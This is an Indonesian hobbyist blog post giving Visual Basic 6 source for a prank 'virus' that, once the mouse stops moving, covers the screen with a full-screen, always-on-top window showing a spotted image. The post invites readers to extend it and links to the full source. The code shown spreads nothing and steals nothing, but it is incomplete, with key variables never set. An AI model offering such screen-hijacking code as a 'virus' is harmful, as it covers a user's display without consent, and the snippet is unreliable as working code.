Virus Cacar di Komputer

Hmmm………
Masihkah anda ingin membuat virus dengan mengotak-atik tampilan desktop.?
Yah seperti artikel-artikel yang sebelumnya aku ingin membagikan ilmu mengenai script membuat virus dengan tampilan yang membuat desktop menjadi bintik-bintik.


Virus ini aku beri nama virus cacar.. hmm kenapa cacar yah.? Ya karena bintik-bintik yang sangat banyak yang terjadi pada desktop. Masak mau dikasih nama virus jerawat.? Ato malah virus kutil.? Wakakakakakakakak…………………….
Lihat gambar dibawah ini.

http://h1.ripway.com/nonickname/virus-cacar-di-komputer.JPG

Ya sudah tanpa banyak basa-basi mari kita mulai pembuatan virus cacar.
Virus ini masih dibuat dengan menggunakan Visual Basic 6
Terdiri atas :
-form
-timer
-module
Agar lebih mudah akan saya tuliskan scriptnya
Berikut adalah script virus cacar.
==============script pada form dan timer=========================
Private Sub Timer1_Timer()

Call GetCursorPos(m)

If m.x = x And m.y = y Then
sum = sum + 25
Else
x = m.x
y = m.y
End If

If sum = 2000 Then
sum = 0
BitBlt Form1.hDC, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, ha, 0, 0, vbSrcCopy
Call SetWindowPos(Form1.hwnd, HWND_TOPMOST, 0, 0, Screen.Width / Screen.TwipsPerPixelX, Screen.Height / Screen.TwipsPerPixelY, SWP_SHOWWINDOW)
ready = True
End If

End Sub
==========================END SCRIPT==============================
Berikutnya adalah pada bagian module…
Module terdiri atas script seperti berikut.

==========SCRIPT MODULE======================================
Public Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Public Declare Function GetDC Lib "user32" (ByVal hwnd As Long) As Long
Public Declare Function GetDesktopWindow Lib "user32" () As Long
Public Declare Function GetCursorPos Lib "user32" (lpPoint As POINTAPI) As Long
Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
Public Declare Function SetWindowPos Lib "user32" (ByVal hwnd As Long, ByVal hWndInsertAfter As Long, ByVal x As Long, ByVal y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long

Public Type POINTAPI
x As Long
y As Long
End Type

Public Const HWND_TOPMOST = -1
Public Const SWP_SHOWWINDOW = &H40

Public m As POINTAPI
========================End Script=====================

Bagi seorang VM mungkin script diatas terlalu mudah untuk di rubah-rubah, untuk itu silahkan kembangkan sendiri sesuai dengan kemampuan.
Hmmm… bagi yang ingin mendownload secara lengkap source code diatas dapat di download dengan mudah di bawah ini.

Download source virus cacar secara lengkap

download